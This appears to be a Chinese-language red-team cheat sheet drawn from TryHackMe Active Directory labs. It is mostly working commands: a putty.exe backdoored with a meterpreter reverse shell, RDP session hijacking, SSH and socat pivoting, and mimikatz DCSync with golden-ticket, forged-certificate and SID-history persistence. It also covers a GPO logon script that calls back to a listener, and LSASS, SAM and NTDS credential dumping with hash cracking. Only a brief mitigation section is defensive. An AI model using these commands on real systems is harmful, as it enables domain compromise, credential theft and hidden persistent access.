msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
RDP劫持
如果你在 Windows Server 2016 及更早版本上具有 SYSTEM 权限,则无需密码即可接管任何现有 RDP 会话
# 以管理员身份运行cmd或者运行命令
PsExec64.exe -s cmd.exe
输入:
query user(当看到有disc即可接管,active也可以接管但会顶下合法用户)
tscon 3 /dest:rdp-tcp#6
端口转发
ssh隧道
## 创建用户
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
#SSH远程端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
ssh [email protected] -R 3389:3.3.3.3:3389 -N(B运行,访问A3389,如同利用B访问C3389)
#本地端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
ssh [email protected] -L *:80:127.0.0.1:80 -N(B运行,将A的80端口开放至B的80端口可以让C反弹)
打开入方向防火墙
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
socat进行端口转发
攻击机A(1.1.1.1),已沦陷B(2.2.2.2),待攻击C(3.3.3.3)
# 远程端口转发
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389(B运行,访问B3389如同访问C3389)
# 本地端口转发
socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80(B运行,监听A80端口,如同监听B80端口)
动态端口转发和socks
ssh [email protected] -R 9050 -N
编辑 /etc/proxychains.conf配置代理链
proxychains curl http://pxeboot.za.tryhackme.com #代理使用
更多关于横向移动的方法
# 穿梭机
https://github.com/sshuttle/sshuttle
# rpivot
https://github.com/klsecservices/rpivot
# chisel
https://github.com/jpillora/chisel
# 使用 Shadowmove 劫持套接字
https://adepts.of0x.cc/shadowmove-hijack-socket/
域权限维持
通过凭据实现持久性
需要关注的特权账户
在多台计算机上具有本地管理员权限的凭据。
通常,组织在几乎所有计算机上都有一两个具有本地管理员权限的组。这些组通常分为一个用于工作站,一个用于服务器。通过收集这些团体成员的凭据,我们仍然可以访问庄园中的大部分计算机。
具有委派权限的服务帐户。
有了这些帐户,我们将能够强制金票和银票执行 Kerberos 委托攻击。
用于特权 AD 服务的帐户。
如果我们破坏了特权服务(如 Exchange、Windows Server Update Services (WSUS) 或 System Center Configuration Manager (SCCM))的帐户,我们可以利用 AD 利用再次获得特权立足点。
AD管理员组的账户
利用凭据同步获取凭据
# mimikatz
lsadump::dcsync /domain:za.tryhackme.loc /user:<Your low-privilege AD Username>
# 将密码转换为ntlm哈希
https://codebeautify.org/ntlm-hash-generator
# 同步每个账户
## mimikatz
log <username>_dcdump.txt #启用日志记录
mimikatz # lsadump::dcsync /domain:za.tryhackme.loc /all
通过票证的持久性
# 生成黄金票据(mimikatz)
golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /krbtgt:<NTLM hash of KRBTGT account> /endin:600 /renewmax:10080 /ptt
# 生成银票
golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt
# 参数说明
/admin - 我们要模拟的用户名。这不一定是有效用户。
/domain - 要为其生成票证的域的 FQDN。
/id - 用户 RID。默认情况下,Mimikatz 使用 RID 500,这是默认的管理员帐户 RID。
/sid - 我们要为其生成票证的域的 SID。
/krbtgt - KRBTGT 帐户的 NTLM 哈希。
/endin - 票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 10 小时(600 分钟)
/renewmax - 续订后的最长票证生存期。默认情况下,Mimikatz 会生成有效期为 10 年的票证。AD 的默认 Kerberos 策略为 7 天(10080 分钟)
/ptt - 此标志告诉 Mimikatz 将票证直接注入到会话中,这意味着它已准备好使用。
通过证书实现持久性
# 可以替代mimikatz的工具
https://pentestlab.blog/2021/11/15/golden-certificate/
# 查看存储在dc上的证书
certificates /systemstore:local_machine
# mimikatz修补内存使密钥可导出
privilege::debug
crypto::capi
crypto::cng
# 导出证书(导出的证书将以 PFX 和 DER 格式存储到磁盘)
crypto::certificates /systemstore:local_machine /export
# ForgeCert生成自己的证书
ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName [email protected] --NewCertPath fullAdmin.pfx --NewCertPassword Password123
## 参数说明
CaCertPath - 导出的 CA 证书的路径。
CaCertPassword - 用于加密证书的密码。默认情况下,Mimikatz 分配的密码为 。mimikatz
使用者 - 证书的使用者或公用名。在我们将使用证书的上下文中,这并不重要。
SubjectAltName - 这是我们要使用此证书模拟的帐户的用户主体名称 (UPN)。它必须是合法用户。
NewCertPath - ForgeCert 存储生成的证书的路径。
NewCertPassword - 由于证书需要导出用于身份验证目的的私钥,因此我们必须设置用于加密它的新密码。
# Rubeus 使用证书请求 TGT
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:za.tryhackme.loc /dc:<IP of domain controller>
## 参数说明
/user - 这指定了我们将模拟的用户,并且必须与我们生成的证书的 UPN 匹配
/enctype - 指定票证的加密类型。设置此项为 对于规避很重要,因为默认加密算法很弱, 这将导致 overpass-the-hash 警报
/certificate - 生成的证书的路径
/password - 证书文件的密码
/outfile - 我们的 TGT 将输出到的文件
/domain - 我们当前正在攻击的域的 FQDN
/dc - 我们从中请求 TGT 的域控制器的 IP。 通常,最好选择运行 CA 服务的 DC
# mimikatz加载TGT并向THMDC进行身份验证
kerberos::ptt administrator.kirbi
通过SID历史记录进行持久性
# 确保低权限用户的 SID 历史记录中当前没有任何信息
Get-ADUser <your ad username> -properties sidhistory,memberof
# 获取 Domain Admins 组的 SID
Get-ADGroup "Domain Admins"
# 使用DSInternals工具修补 ntds.dit 文件
## 下载
https://github.com/MichaelGrafnetter/DSInternals
## 使用
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName
修补后,必须重新启动 NTDS 服务,否则,整个网络的身份验证将不再起作用
## 确认是否成功
Get-ADUser aaron.jones -Properties sidhistory # 在加sid历史记录的低权限用户上
通过组成员身份实现持久性
# 创建新组
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Security
# 创建另一个组并将上一个组添加为成员
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"
# 上述步骤可以连续做多次
# 对于最后一个组,将该组添加到“域管理员”组
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"
# 低特权 AD 用户添加到我们创建的第一个组中
Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"
通过ACL实现持久性
使用 AdminSDHolder 持久化
# 最佳实践
1、利用低权限登录RDP
2、使用runas命令注入管理员凭据,然后从新终端执行MMC
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
3、添加“用户和组”管理单元(“文件”>“添加管理单元->活动目录用户和计算机”)(File->Add Snap-In->Active Directory Users and Computers)。 确保启用高级功能(视图->高级功能)(View->Advanced Features)。我们可以在 Domain->System 下找到 AdminSDHolder 组
4、导航到组的“安全性”(右键单击->属性->安全性)
5、让我们添加低权限用户并授予完全控制权限
6、等待60分钟
通过GPO实现持久性
# 以下是一些常见的 GPO 持久性技术
1、受限制的组成员身份 - 这可能允许我们对域中的所有主机进行管理访问
2、登录脚本部署 - 这将确保每次用户向域中的主机进行身份验证时,我们都会收到一个 shell 回调
# 准备
1、创建基本shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exe
2、创建攻击脚本<username>_script.bat
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe
3、利用scp命令将文件复制到SYSVOL目录
scp am0_shell.exe za\\[email protected] :C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
scp am0_script.bat za\\[email protected] :C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
4、开启msf监听器
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"
# 开始维持权限
1、利用低权限登录RDP
2、使用runas命令注入管理员凭据,然后从新终端执行MMC
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
3、使用我们的域管理员帐户打开“组策略管理”管理单元(在终端中输入MMC->file->Add/Remove Snap-in->Group Policy Management->add->ok)
4、右键管理员OU->在此域中创建 GPO,并在此处链接->随便指定一个名称
5、右键新策略->Enforced
6、右键新策略->编辑
在“用户配置”下,展开“策略”->Windows 设置”。
选择脚本(登录/注销)。
右键单击“Logon->Properties”
选择“脚本”选项卡。
单击“添加”->浏览。
7、导航到存储Bat文件和二进制文件的位置
选择 Batch 文件作为脚本,然后单击“打开”和“确定”。单击“应用”和“确定”。
8、切记导航->注销RDP
9、重新返回MMC窗口单击策略,然后单击委派
10、右键单击“ENTERPRISE DOMAIN CONTROLLERS”,然后选择“编辑设置”、“删除”、“修改安全性”
11、单击所有其他组(经过身份验证的用户除外),然后单击“删除”
12、单击“高级”,然后从权限中删除“创建的所有者”
单击“添加”。
键入“域计算机”,单击“检查名称”,然后单击“确定”。
选择“读取权限”,然后单击“确定”。
单击“经过身份验证的用户”,然后单击“删除”。
其他持久性技术
# 其他持久性技术
1、镂空钥匙 - 使用 Mimikatz,我们可以部署一个骨架键。Mimikatz 创建了一个默认密码,该密码适用于域中的任何帐户。普通密码仍然可以使用,因此很难知道这种攻击已经发生。此默认密码可用于模拟域中的任何帐户。
2、目录服务还原模式 (DSRM) -域控制器有一个称为 DSRM 帐户的内部 break glass 管理员帐户。此密码是在服务器提升为 DC 时设置的,很少更改。此密码在紧急情况下用于恢复 DC。攻击者可以使用 Mimikatz 提取此密码,并使用此密码获取对环境中的域控制器的持久管理访问权限。
3、恶意安全支持提供商 (SSP) -利用 SSP 接口,可以添加新的 SSP。我们可以将 Mimikatz 的 mimilib 添加为一个 SSP,它将所有身份验证尝试的凭据记录到一个文件中。我们可以指定一个用于日志记录的网络位置,这将允许 mimilib 在用户向受感染的主机进行身份验证时向我们发送凭据,从而提供持久性。
4、计算机帐户 - 计算机帐户的密码通常每 30 天轮换一次。但是,我们可以更改计算机帐户的密码,这将停止自动旋转。除此之外,我们可以授予计算机帐户对其他计算机的管理访问权限。这将使我们能够将计算机帐户用作普通帐户,持久性的唯一迹象是该帐户对其他主机具有管理权限,这通常是AD中的正常行为,因此它可能不会被发现。
我们还应该注意到,这个房间的重点是 AD 中的持久性技术。几种本地持久性技术还可以允许在主机上持久性。如果这些主机已加入域,则也允许在 AD 中持久性。
#缓解措施
AD 持久性可能是一种难以抵御的痛苦。在某些情况下,持久性可能根深蒂固,以至于需要完全重建域。然而 我们可以执行以下几项措施来检测已部署的持久性:
1、异常帐户登录事件是最常见的持久性警报。每当凭据破坏分层模型时,都可能是持久性的结果。
2、对于上述每种持久性技术,都可以编写特定的检测规则,例如,当计算机帐户的密码更改、ACL 被允许更新或创建新的 GPO 时。
3、防止持久性的最佳方法是保护特权资源。尽管低特权访问可用于部署持久性,但真正可怕的技术只有在攻击者获得对域的特权访问权限后才可用。
凭据收集
凭据访问
明文文件
# 可以在以下几种地方找到明文文件
命令历史记录
配置文件(Web 应用程序、FTP 文件等)
与 Windows 应用程序相关的其他文件(Internet 浏览器、电子邮件客户端等)
备份文件
共享文件和文件夹
注册表
源代码
# 可能找到密码的方式
数据库文件
密码管理器
内存转储
活动目录
网络嗅探
# 举例
## PowerShell历史命令
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 在windows注册表找passward关键字
reg query HKLM /f password /t REG_SZ /s
或
reg query HKCU /f password /t REG_SZ /s
# AD环境枚举
## ADEnum
https://github.com/Leo4j/Invoke-ADEnum
## cmd
dsquery user -limit 0 | dsget user -samid -desc > user_descriptions.txt
本地windows凭据
# 采用键盘记录器
可以使用Metasploit框架进行键盘记录
# SAM文件
## Metasploit 的 HashDump
hashdump # Metasploit下
# 卷复制服务
1、使用管理员权限运行标准cmd.exe提示符。
2、执行 wmic 命令以创建 C: drive 的复制卷影
wmic shadowcopy call create Volume='C:\'
3、验证步骤 2 中的创建是否可用。
vssadmin list shadows
4、从我们在步骤 2 中创建的卷中复制 SAM 数据库
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
# windows注册表读取
reg save HKLM\sam
reg save HKLM\system
## 破解sam和system
secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL
本地安全机构子系统服务(LSASS)
# GUI
1、打开任务管理器->详细信息->找到lsass.exe进程->右键单击->选择创建转储文件
# Sysinternals套件
procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump
# mimikatz
privilege::debug
sekurlsa::logonpasswords
#禁用LSA保护
!+
!processprotect /process:lsass.exe /remove
windows凭据管理器
# GUI
GUI(控制面板->用户帐户->凭据管理器)
# vaultcmd
## 查看有哪些存储库
vaultcmd /list
## 检查Web Credentials 保管库中是否有任何存储的凭据
VaultCmd /listproperties:"Web Credentials"
# 凭据转储
## Get-WebCredentials.ps1
### 下载
https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
### 使用
powershell -ex bypass
Import-Module C:\Tools\Get-WebCredentials.ps1
Get-WebCredentials
## RunAs
cmdkey /list
runas /savecred /user:THM.red\thm-local cmd.exe
## mimikatz
privilege::debug
sekurlsa::credman
域控制器
# Ntdsutil
## 无凭据本地转储
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" # 运行完此命令将在C:\temp下看见Active Directory和registry两个文件夹
## 攻击机破解hash
secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
## 有凭据远程转储
### 直流同步
secretsdump.py -just-dc THM.red/<AD_Admin_User>@MACHINE_IP
### 参数说明
-just-dc 该参数用于提取 NTDS 数据
thm.red/AD_Admin_User 是经过身份验证的域用户,形式为(domain/user)
请注意,如果我们只对转储 NTLM 哈希感兴趣,那么我们可以按如下方式使用参数:-just-dc-ntlm
### 破解hash
hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist/such/as/rockyou.txt
本地管理员密码解决方案(LAPS)
# 组策略首选项(GPP)
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
# 枚举LAPS
## 检查目标机器中是否安装了LAPS
dir "C:\Program Files\LAPS\CSE" # 看有没有AdmPwd.dll
## 列出可用的LAPS的cmdlet(powershell)
Get-Command *AdmPwd*
## 查找具有AdmPwdExtendedRights属性的用户
Find-AdmPwdExtendedRights -Identity THMorg
或者
Find-AdmPwdExtendedRights -Identity *
## 查找属于相关组的用户
net groups "THMGroupReader" # THMGroupReader在上一步中会有输出形如{THM\THMGroupReader}
## 获取密码
Get-AdmPwdPassword -ComputerName creds-harvestin
## 便捷的使用工具
https://github.com/leoloobeek/LAPSToolkit
其他攻击
# Kerberoasting
## 枚举SPN账户
GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm
## 以SPN账户身份申请TGS票据
GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm -request-user svc-user
## 利用HashCat模式破解TGS票证
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
# AS-REP 烘培
GetNPUsers.py -dc-ip MACHINE_IP thm.red/ -usersfile /tmp/users.txt # users.txt为枚举的用户表如admin\ntest\nAdministrator等
# 扩展攻击方式
## 中小企业中级攻击
## LLMNR/NBNS中毒
其他有用的工具
# Snaffler
https://github.com/SnaffCon/Snaffler
# Seatbelt
https://github.com/GhostPack/Seatbelt
# Lazagne
https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/